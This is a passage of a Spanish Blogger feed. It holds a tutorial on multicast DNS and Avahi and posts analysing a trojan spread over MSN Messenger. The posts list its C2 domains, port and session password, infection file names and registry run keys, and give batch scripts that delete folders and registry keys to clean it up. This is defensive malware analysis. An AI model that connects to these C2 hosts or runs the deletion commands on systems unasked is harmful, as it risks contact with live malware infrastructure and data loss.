implementación del protocolo de resolución de nombres (DNS) para redes de área local, donde no existe un servidor DNS real. Producto de los grupos Zero Configuration Networking y DNS Extensions, creado con el objetivo de facilitar la configuración de redes locales que no cuentan con un servidor de nombres propio.&lt;br /&gt;&lt;br /&gt;Según el draft (http://files.multicastdns.org/draft-cheshire-dnsext-multicastdns.txt) "Clients performing DNS-like queries for DNS-like resource records by sending DNS-like UDP query and response packets over IP Multicast to UDP port 5353." se trata de clientes realizando consultas tipo DNS por registros tipo DNS enviando paquetes (tipo DNS) al puerto 5353 UDP&amp;nbsp; sobre direcciones IP Multicast (JA!, para los que creen que las clase D no se usan jajaaj). &lt;br /&gt;&lt;br /&gt;Las direcciones Multicast o clase D van de 224.0.0.0 a 239.255.255.255, y se caracterizan por: una dirección Multicast está asociada con un grupo de receptores interesados, cuando uno de los interesados envía un paquete a una dirección Multicast todos los demás lo reciben, los routers que se encuentren entre estos interesados deben ser capaces de reenviar estos paquetes a cada uno de ellos.&lt;br /&gt;&lt;br /&gt;Al tratarse de una dirección Multicast, todos los asociados reciben todos los paquetes, y de esta manera las caches de nombres se mantienen actualizadas. Cada respuesta a una consulta Multicast DNS trae un campo donde se especifica el tiempo de validez que tiene la respuesta, luego de que expire ese tiempo es necesario volver a efectuar la consulta.&lt;br /&gt;&lt;br /&gt;Este servicio de DNS cuenta también con un TLD (Top-Level Domain) propio y es ".local.". Todo FQDN (Fully Qualified Domain Name, nombre completo xD) que finalice con ".local." se lo considera de enlace local, es decir... es un análogo a las direcciones IP privadas, que sólo valen en el ámbito local de la red y de nada sirven fuera de ella. Toda consulta DNS que finalice con ".local." debe ser enviada a la dirección 224.0.0.251 (si se trata de IPv4, o FF02::FB si se trata de IPv6).&lt;br /&gt;&lt;br /&gt;Existen 3 tipo de consultas: las consultas convencionales 1-consulta-&amp;gt;1-respuesta, 1-consulta-&amp;gt;N-respuestas y el ultimo tipo que consiste en consultas continuas.&lt;br /&gt;&lt;br /&gt;En fin... eso es mas o menos a modo de introducción :D. Si realmente querés saber mas, está el link del borrador mas arriba, de ahora en mas voy a intentar controlar/activar/desactivar este servicio de mi laptop. Resulta ser que en la mayoría de las distribuciones de GNU/Linux viene instalado por defecto un servicio que implementa este protocolo, y se llama Avahi (http://avahi.org/). Avahi es capaz de publicar y descubrir dispositivos, y servicios disponibles en la red local, sin necesidad de realizar configuración alguna.&lt;br /&gt;&lt;br /&gt;Veamos si el servicio está corriendo :D&amp;nbsp; (hagamos de cuenta que nunca vi el paquete con wireshark xD):&lt;br /&gt;"Lo sospeché desde un principio..." asi es, tengo corriendo como demonio a avahi-daemon&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://viviendolared.x10hosting.com/images/MDNS1/avahi.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="80" src="http://viviendolared.x10hosting.com/images/MDNS1/avahi.png" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;Buscando un poco mas se puede ver que escucha en el puerto UDP 5353 de todas las interfaces disponibles, a la espera de consultas/respuestas que pueden provenir de cualquier dirección de red.&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://viviendolared.x10hosting.com/images/MDNS1/avahi_ports.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="214" src="http://viviendolared.x10hosting.com/images/MDNS1/avahi_ports.png" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;Ahora probemos la facilidad de uso de este protocolo. La lan de prueba está compuesta por 2 hosts, la laptop con direccion 192.168.206.1 (nombre moon) y una vm con dirección 192.168.206.134 (nombre ubuntu). Ambos hosts tienen instalado Ubuntu 9.10, que trae por defecto instalado avahi-daemon versión 0.6.25. Ninguno de los host recibió algún tipo de configuración de este servicio, ambos corren como fueron instalados. En el host moon estará nuestro amigo wireshark capturando los paquetes para ver lo que sucede :D.&lt;br /&gt;&lt;br /&gt;&lt;i&gt;&lt;b&gt;Buscando a "ubuntu" desde "moon":&lt;/b&gt;&lt;/i&gt;&lt;br /&gt;&lt;br /&gt;Sabemos que está conectadp a la red un host de nombre "ubuntu", pero no sabemos la dirección IP que le fue asignada, y no contamos con un servidor DNS local :D, maldita sea!, pero para eso está corriendo avahi-daemon. Para conocer la dirección de ese host nos basta con hacer un "ping ubuntu.local.", como muestra la imagen&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://viviendolared.x10hosting.com/images/MDNS1/ping_moon_ubuntu.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="236" src="http://viviendolared.x10hosting.com/images/MDNS1/ping_moon_ubuntu.png" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;ahora veamos lo que capturó nuestro amigo :D.&lt;br /&gt;Wireshark nos muestra 4 paquetes MDNS, los dos primeros son la resolución directa del nombre de host "ubuntu.local.". &lt;br /&gt;-192.168.206.1 (moon) envía una consulta MDNS a 224.0.0.251 (Multicast IP Address) preguntando por la dirección de "ubuntu.local.".&lt;br /&gt;-192.168.206.134 (ubuntu) envía una respuesta MDNS a 224.0.0.251 (Multicast IP Address) diciendo que 192.168.206.134 corresponde al "host ubuntu.local.".&lt;br /&gt;Los últimos dos paquetes son la resolución inversa, es decir, intenta averiguar el nombre que le corresponde a la dirección 192.168.206.134, esto debe ser una suerte de mecanismo de seguridad, para ver que sean consistentes:&lt;br /&gt;-192.168.206.1 (moon) envía una consulta inversa a la dirección 224.0.0.251, consultando por el nombre que le corresponde a "134.206.168.192.in-addr.arpa.".&lt;br /&gt;-192.168.206.134 (ubuntu) rsponde a la dirección 224.0.0.251, diciendo que esa dirección le corresponde al nombre "ubuntu.local.".&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://viviendolared.x10hosting.com/images/MDNS1/wireshark_moon_ubuntu.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="192" src="http://viviendolared.x10hosting.com/images/MDNS1/wireshark_moon_ubuntu.png" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;Exáctamente lo mismo podemos observar si ahora realizamos el ping desde ubuntu hacia moon.local.&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://viviendolared.x10hosting.com/images/MDNS1/ubuntu_moon.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="262" src="http://viviendolared.x10hosting.com/images/MDNS1/ubuntu_moon.png" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;i&gt;&lt;b&gt;Publicando y Descubriendo servicios:&lt;/b&gt;&lt;/i&gt;&lt;br /&gt;&lt;br /&gt;Junto con MDNS se puede utilizar algo llamado DNS-SD (DNS-Service Discovery), que consiste en dar a conocer y encontrar servicios locales utilizando MDNS. De nuevo se trata de algo de simple puesta en marcha. Como ejemplo publicaremos dos servicios en el host de nombre moon (FQDN moon.local.), un servidor web en el puerto 80 y un ftp en el puerto 21. El proceso de publicación de los servicios consiste en crear un archivo con sintaxis XML en el directorio /etc/avahi/services/, con la condición que el nombre del archivo debe finalizar en ".service" (sin las comillas :D), como el siguiente:&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://viviendolared.x10hosting.com/images/MDNS1/mis_servicios.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="253" src="http://viviendolared.x10hosting.com/images/MDNS1/mis_servicios.png" width="400" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;Para entender bien la sintaxis basta con dar una breve leída a "man avahi.service" :D. Luego de configurar adecuadamente los servicios que querramos reiniciamos el demonio avahi con "avahi-daemon -r" y listo, toda la magia de la publicación de servicios es esa jajaja. Ahora hay que comprobar que los servicios están siendo publicados, para eso instalé dos porgramas mdns-scan y mzclient, NO instalen mdns-scan es DEMASIADO BASICO (ni siquiera recibe parámetros y solo busca types "_workstation"). Primero veamos los hosts que se encuentran utilizando MDNS ejecutamos mzclient como en la próxima imagen (-r se encarga de resolver los nombres de los hosts):&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://viviendolared.x10hosting.com/images/MDNS1/ver_hosts_mzclient.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="416" src="http://viviendolared.x10hosting.com/images/MDNS1/ver_hosts_mzclient.png" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;moon tiene 3 direcciones MAC diferentes porque se trata de las 3 interfaces de red, dos virtuales y la eth0 real. Entonces los hosts siguen bien configurados, ahora busquemos los servicios publicados :D. Para eso usamos la opcion -t, que indica la etiqueta type del archivo de servicios, buscamos primero si hay servicios tipo "_http._tcp", incluimos -r para que resuelva nombres:&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://viviendolared.x10hosting.com/images/MDNS1/ver_http_mzclient.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://viviendolared.x10hosting.com/images/MDNS1/ver_http_mzclient.png" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;Ahora busquemos el ftp :D:&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://viviendolared.x10hosting.com/images/MDNS1/ver_ftp_mzclient.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://viviendolared.x10hosting.com/images/MDNS1/ver_ftp_mzclient.png" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;Ambos servicios fueron asociados al nombre "moon.local" con dirección 192.168.206.1, como lo configuramos y como debe ser. Eso es gran parte de la publicación de servicios, para mas información http://avahi.org :P.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;&lt;i&gt;Deteniendo el demonioooooooo:&lt;/i&gt;&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;Si nos iteresa detener el demonio solo por un momento o reiniciarlo, lo podemos hacer directamente mediante el script ubicado en /etc/init.d. Ejecutamos sudo /etc/init.d/avahi-daemon stop, o mas elegantemente sudo service avahi-daemon stop, para detenerlo, cambiamos stop por restart, para reiniciarlo y start para iniciarlo cuando está detenido.&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://viviendolared.x10hosting.com/images/MDNS1/restart_stop_start.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://viviendolared.x10hosting.com/images/MDNS1/restart_stop_start.png" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;i&gt;&lt;b&gt;Deshabilitando temporalmente al demonio:&lt;/b&gt;&lt;/i&gt;&lt;br /&gt;Si queremos deshabilitarlo temporalmente pero no borrarlo del sistema podemos recurrir a un pequeño truquillo :D. La idea básicamente consiste en que sencillamente el demonio nunca se inicie xD, y esto lo podemos lograr alterando el script de inicio del demonio, ubicado en "/etc/init/avahi-daemon.conf". Como se ve en la imagen hay que comentar la linea de "start".&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://viviendolared.x10hosting.com/images/MDNS1/desactivando_avahi.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://viviendolared.x10hosting.com/images/MDNS1/desactivando_avahi.png" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;En definitiva, se trata de un servicio bastante útil, pero que sinceramente no necesito tener activo en este momento. Posiblemente en una LAN donde todo el tiempo entran y salen dispositivos diferentes sea de suma utilidad, pero no lo veo tan así en una LAN chica con poco cambio de los dispositivos.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2092564628338741408-7454883590829798327?l=viviendolared.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://viviendolared.blogspot.com/feeds/7454883590829798327/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://viviendolared.blogspot.com/2010/04/pequeeeena-intro-mdns-multicast-dns.html#comment-form' title='2 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2092564628338741408/posts/default/7454883590829798327'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2092564628338741408/posts/default/7454883590829798327'/><link rel='alternate' type='text/html' href='http://viviendolared.blogspot.com/2010/04/pequeeeena-intro-mdns-multicast-dns.html' title='Pequeeeeña intro MDNS (Multicast DNS):'/><author><name>Juan José</name><uri>http://www.blogger.com/profile/13101658690741974139</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='32' src='http://3.bp.blogspot.com/_-nrWEUQlmUk/SfCTfenDybI/AAAAAAAAAAM/dewvFFP75qY/S220/land-of-confusion.jpg'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2092564628338741408.post-483025502258452825</id><published>2010-02-09T23:02:00.001-03:00</published><updated>2010-02-09T23:02:02.454-03:00</updated><title type='text'>Comunicación con el mas allá...</title><content type='html'>&lt;p&gt;Hoy en un raaaaaaaaaaaaaaaato libre que me hice me conecté al msn para molestar algunos conocidos, cuando de repente me encontré con la siguiente conversación frente a mi :D.&lt;/p&gt;&lt;br /&gt;&lt;p&gt;&lt;img alt="NewRemake" src="http://viviendolared.x10hosting.com/images/newRemake_small.jpg" border="0" /&gt;&lt;/p&gt;&lt;br /&gt;&lt;p&gt;No es mas que otro de los bichos analizados anteriormente, de hecho es el mismo al parecer, salvo los cambios de dominios que realizaron los chicos, para darle un poco de oxígeno a la situación.&lt;/p&gt;&lt;br /&gt;&lt;p&gt;Ahora el archivo de infección se llama facebook.exe y los dominios son los siguientes: facebo0ok.net y fbchek.com (está claro que esta gente quiere abusarse del buen nombre de la red social Facebook para obtener víctimas).&lt;/p&gt;&lt;br /&gt;&lt;p&gt;Una vez ejecutado y finalizada la infección se conecta a la dirección homework.knaqu.eu (similar a las anteriores) a un servidor Irc de donde recibe las órdenes, al igual que lo explicado en los posts anteriores.&lt;/p&gt;&lt;br /&gt;&lt;p&gt;La diferencia es que esta vez, agregué la dirección de email de uno de los dominios a una cuenta de msn que tengo para tales ocasiones. Y bueno&amp;hellip; les dejo la conversación aqui pegada, está claro que esa dirección podría ser falsa y ser de un pobre individuo que no tenía idea de lo que le hablé o claro&amp;hellip; ser de uno de ellos, del mas allá :D. POR FAVOR NO HAGAN CLIC EN EL LINK (fueron reemplazados los &amp;ldquo;.&amp;rdquo; por &amp;ldquo;_&amp;rdquo;)!!!!&lt;/p&gt;&lt;br /&gt;&lt;p&gt;&amp;shy;Juan dice:&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; [22:30:23] &amp;shy;hi...&lt;br /&gt;&amp;shy;... dice:&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; [22:30:29] &amp;shy;hi&lt;br /&gt;&amp;shy;Juan dice:&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; [22:30:55] &amp;shy;fbchek.com... you own this domain, don't you?&lt;br /&gt;&amp;shy;... dice:&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; [22:31:06] &amp;shy;no&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; [22:31:08] &amp;shy;for what?&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; [22:31:17] &amp;shy;i'm&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; [22:31:17] &amp;shy;&lt;br /&gt;&amp;shy;Juan dice:&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; [22:31:52] &amp;shy;what do u know about &lt;a href="mailto:fbchek_com/facebook_exe?MiEmail@hotmail.com"&gt;fbchek_com/facebook_exe?MiEmail@hotmail.com&lt;/a&gt;&lt;br /&gt;&amp;shy;... dice:&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; [22:32:03] &amp;shy;nothing&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; [22:32:06] &amp;shy;i dont know&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; [22:32:11] &amp;shy;who are you&lt;br /&gt;&amp;shy;Juan dice:&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; [22:32:50] &amp;shy;homework.knaqu.eu ??&lt;br /&gt;&amp;shy;... dice:&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; [22:33:08] &amp;shy;?&lt;br /&gt;&amp;shy;Juan dice:&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; [22:33:09] &amp;shy;look... i received some kind of malware, by msn, &lt;/p&gt;&lt;br /&gt;&lt;p&gt;Luego del &amp;ldquo;Who are you&amp;rdquo;, nuestro amigo del mas allá se desconectó y me quitó de su lista inmediatamente. Culpa o desconocimiento??? quien sabe xD. No dejo el email por si me estoy equivocando, de todas formas se puede encontrar viendo el registro del dominio.&lt;/p&gt;&lt;br /&gt;&lt;p&gt;Eso es todo, el funcionamiento sigue siendo básicamente el mismo que los anteriores.&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2092564628338741408-483025502258452825?l=viviendolared.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://viviendolared.blogspot.com/feeds/483025502258452825/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://viviendolared.blogspot.com/2010/02/comunicacion-con-el-mas-alla.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2092564628338741408/posts/default/483025502258452825'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2092564628338741408/posts/default/483025502258452825'/><link rel='alternate' type='text/html' href='http://viviendolared.blogspot.com/2010/02/comunicacion-con-el-mas-alla.html' title='Comunicación con el mas allá...'/><author><name>Juan José</name><uri>http://www.blogger.com/profile/13101658690741974139</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='32' src='http://3.bp.blogspot.com/_-nrWEUQlmUk/SfCTfenDybI/AAAAAAAAAAM/dewvFFP75qY/S220/land-of-confusion.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2092564628338741408.post-7032220266367828607</id><published>2010-01-22T21:08:00.001-03:00</published><updated>2010-01-22T21:08:35.764-03:00</updated><title type='text'>Otro bicho por messenger III</title><content type='html'>&lt;p&gt;Como era de esperarse, para mantenerse en actividad tuvieron que realizar unos cambios mas drásticos que los anteriores:&lt;/p&gt;&lt;br /&gt;&lt;p&gt;-Nuevo dominio de conexión: aschex.rr.nu al mismo puerto que las versiones anteriores (27034), ahora la contraseña de sesión es &amp;ldquo;aaa&amp;rdquo;.&lt;/p&gt;&lt;br /&gt;&lt;p&gt;-El dominio que envía los mensajes aaa.5268.com, los nombres mas actualizados de los archivos de infección son: &amp;ldquo;hi5.exe&amp;rdquo; y &amp;ldquo;carts.exe&amp;rdquo;. &lt;/p&gt;&lt;br /&gt;&lt;p&gt;-También cambiaron la clave de registro que utiliza para autoejecutarse cuando reinicia el sistema, ahora es: &amp;ldquo;Java Update&amp;rdquo;, por lo tanto es script anterior queda obsoleto.&lt;/p&gt;&lt;br /&gt;&lt;p&gt;-Nuevo nombre del proceso en ejecución: &amp;ldquo;wms.exe&amp;rdquo;. La carpeta donde se almacena el archivo para autoarranque sigue siendo la misma.&lt;/p&gt;&lt;br /&gt;&lt;p&gt;El nuevo script para desinfectar sería el siguiente:&lt;/p&gt;&lt;br /&gt;&lt;p&gt;&lt;font size="2"&gt;&lt;strong&gt;@echo off&lt;/strong&gt;&lt;/font&gt;&lt;font size="2"&gt;&lt;br /&gt;&lt;/font&gt;&lt;/p&gt;&lt;br /&gt;&lt;p&gt;&lt;font size="2"&gt;&lt;strong&gt;echo Eliminando archivo copiado locamente&lt;/strong&gt;&lt;/font&gt;&lt;/p&gt;&lt;br /&gt;&lt;p&gt;&lt;font size="2"&gt;&lt;strong&gt;rmdir /s /q %TEMP%\IXP000.TMP&lt;/strong&gt;&lt;/font&gt;&lt;/p&gt;&lt;br /&gt;&lt;p&gt;&lt;font size="2"&gt;&lt;strong&gt;rmdir /s /q %TEMP%\IXP001.TMP&lt;/strong&gt;&lt;/font&gt;&lt;/p&gt;&lt;br /&gt;&lt;p&gt;&lt;font size="2"&gt;&lt;strong&gt;rmdir /s /q %TEMP%\IXP002.TMP&lt;/strong&gt;&lt;/font&gt;&lt;/p&gt;&lt;br /&gt;&lt;p&gt;&lt;font size="2"&gt;&lt;strong&gt;rmdir /s /q %TEMP%\IXP003.TMP&lt;/strong&gt;&lt;/font&gt;&lt;/p&gt;&lt;br /&gt;&lt;p&gt;&lt;font size="2"&gt;&lt;strong&gt;echo Eliminando la clave del registro&lt;/strong&gt;&lt;/font&gt;&lt;/p&gt;&lt;br /&gt;&lt;p&gt;&lt;font size="2"&gt;&lt;strong&gt;reg delete HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\ /v "Java Update"&lt;/strong&gt;&lt;/font&gt;&lt;/p&gt;&lt;br /&gt;&lt;p&gt;Pocos antivirus detectan las últimas versiones, acabo de subir un &amp;ldquo;hi5.exe&amp;rdquo; a virustotal y tan solo 2 lo detectan como troyano.&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2092564628338741408-7032220266367828607?l=viviendolared.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://viviendolared.blogspot.com/feeds/7032220266367828607/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://viviendolared.blogspot.com/2010/01/otro-bicho-por-messenger-iii.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2092564628338741408/posts/default/7032220266367828607'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2092564628338741408/posts/default/7032220266367828607'/><link rel='alternate' type='text/html' href='http://viviendolared.blogspot.com/2010/01/otro-bicho-por-messenger-iii.html' title='Otro bicho por messenger III'/><author><name>Juan José</name><uri>http://www.blogger.com/profile/13101658690741974139</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='32' src='http://3.bp.blogspot.com/_-nrWEUQlmUk/SfCTfenDybI/AAAAAAAAAAM/dewvFFP75qY/S220/land-of-confusion.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2092564628338741408.post-308564754301816020</id><published>2010-01-21T22:54:00.001-03:00</published><updated>2010-01-21T22:54:34.782-03:00</updated><title type='text'>Otro bicho por messenger II</title><content type='html'>&lt;dir&gt;&lt;font size="2"&gt;&lt;br /&gt;&lt;p&gt;Luego de una tarde de estudio de física me vinieron ganas de tirar el libro al diablo y ver cómo iban mis amigos de sexy-brazil.com con su bicho :D.&lt;/p&gt;&lt;br /&gt;&lt;p&gt;Los cambios no han sido muchos, ahora uno de los nombres con que llega el archivo infectado (a través de WindowsLive Messenger) es &amp;ldquo;good.exe&amp;rdquo;, la lista mas detallada está en unos comentarios del post anterior. El proceso se ejecuta con el nombre iexplorer.exe (como el browser, si :D, pero ocupa poco mas de 1Mb en memoria, no como el browser :D). &lt;/p&gt;&lt;br /&gt;&lt;p&gt;&lt;img alt="2" src="http://viviendolared.x10hosting.com/images/2_small.jpg" border="0" /&gt;&lt;/p&gt;&lt;br /&gt;&lt;p&gt;Cambiaron el puerto al que se realiza la conexión :D, ahora nos conectamos al puerto 4244, aunque los mensajes que se envían y reciben parecen ser los mismo que se vieron antes.&lt;/p&gt;&lt;br /&gt;&lt;p&gt;&lt;img alt="3" src="http://viviendolared.x10hosting.com/images/3_small.jpg" border="0" /&gt;&lt;/p&gt;&lt;br /&gt;&lt;p&gt;Las siguientes líneas son un pequeño script en batch para la desinfección, es demasiado simple y hasta ineficiente en el caso de que se hayan ejecutado muchas copias del &amp;ldquo;virus&amp;rdquo;, ya que a partir de la 4ta copia ejecutada se crearía la carpeta IXP004.TMP que no estaría contamplada por el script :D. Si alguien recuerda algo de batch que lo arregle por favor.&lt;/p&gt;&lt;br /&gt;&lt;p&gt;&lt;strong&gt;@echo off&lt;/strong&gt;&lt;/p&gt;&lt;br /&gt;&lt;p&gt;&lt;strong&gt;echo Eliminando archivo copiado locamente&lt;/strong&gt;&lt;/p&gt;&lt;br /&gt;&lt;p&gt;&lt;strong&gt;rmdir /s /q %TEMP%\IXP000.TMP&lt;/strong&gt;&lt;/p&gt;&lt;br /&gt;&lt;p&gt;&lt;strong&gt;rmdir /s /q %TEMP%\IXP001.TMP&lt;/strong&gt;&lt;/p&gt;&lt;br /&gt;&lt;p&gt;&lt;strong&gt;rmdir /s /q %TEMP%\IXP002.TMP&lt;/strong&gt;&lt;/p&gt;&lt;br /&gt;&lt;p&gt;&lt;strong&gt;rmdir /s /q %TEMP%\IXP003.TMP&lt;/strong&gt;&lt;/p&gt;&lt;br /&gt;&lt;p&gt;&lt;strong&gt;echo Eliminando la clave del registro&lt;/strong&gt;&lt;/p&gt;&lt;br /&gt;&lt;p&gt;&lt;strong&gt;reg delete HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\ /v "Windows UDP Control Center"&lt;/strong&gt;&lt;/p&gt;&lt;br /&gt;&lt;p&gt;Lo que hace básicamente es eliminar el o los directorios donde se guarda la copia residente del &amp;ldquo;virus&amp;rdquo; y luego eliminar la clave de autoarranque del registro. Este script es útil siempre y cuando no cambien estos parámetros en el &amp;ldquo;virus&amp;rdquo;. (SÓLO PROBADO EN WINDOWS XP)&lt;/p&gt;&lt;br /&gt;&lt;p&gt;Este script NO DETIENE al proceso que se encuentra en ejecución, hay que detenerlo con el administrador de tareas de windows o bien con el Process Hacker (muy recomendable de hecho).&lt;/p&gt;&lt;br /&gt;&lt;p&gt;Eso es todo por hoy, a seguir estudiando &amp;not;&amp;not;.&lt;/p&gt;&lt;/dir&gt;&lt;/font&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2092564628338741408-308564754301816020?l=viviendolared.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://viviendolared.blogspot.com/feeds/308564754301816020/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://viviendolared.blogspot.com/2010/01/otro-bicho-por-messenger-ii.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2092564628338741408/posts/default/308564754301816020'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2092564628338741408/posts/default/308564754301816020'/><link rel='alternate' type='text/html' href='http://viviendolared.blogspot.com/2010/01/otro-bicho-por-messenger-ii.html' title='Otro bicho por messenger II'/><author><name>Juan José</name><uri>http://www.blogger.com/profile/13101658690741974139</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='32' src='http://3.bp.blogspot.com/_-nrWEUQlmUk/SfCTfenDybI/AAAAAAAAAAM/dewvFFP75qY/S220/land-of-confusion.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2092564628338741408.post-4386163184084615939</id><published>2010-01-17T22:30:00.001-03:00</published><updated>2010-01-17T22:30:01.146-03:00</updated><title type='text'>Otro bicho por messenger</title><content type='html'>&lt;p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt"&gt;&lt;font face="Times New Roman" size="3"&gt;Bueno, luego de una prolongada ausencia en el blog&amp;hellip; por motivos&amp;hellip; realmente sin motivos. Por momentos pierdo la emoción por las cosas, para nada deseable, lo confieso.&lt;/font&gt;&lt;/p&gt;&lt;br /&gt;&lt;p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt"&gt;&lt;font face="Times New Roman" size="3"&gt;La idea de esta entrada es hacer un &amp;ldquo;análisis&amp;rdquo; sencillo de un software malicioso que estuve recibiendo constantemente estos días a través del msn. &lt;/font&gt;&lt;/p&gt;&lt;br /&gt;&lt;p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt"&gt;&lt;?xml:namespace prefix ="" o /&gt;&lt;o:p&gt;&lt;font face="Times New Roman" size="3"&gt;&amp;nbsp;&lt;/font&gt;&lt;/o:p&gt;&lt;/p&gt;&lt;br /&gt;&lt;p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt"&gt;&lt;font face="Times New Roman" size="3"&gt;Aparentemente tendría las condiciones para tratarse de un troyano, e inclusive de un cliente de una red tipo Botnet. El programa establece una conexión TCP/IP con el dominio &amp;rdquo;&lt;b style="mso-bidi-font-weight: normal"&gt;komet2v.knaqu.eu&lt;/b&gt;&amp;rdquo; desde donde recibe las instrucciones para enviar los mensajes de propagación, por lo menos sólo eso pude ver hasta 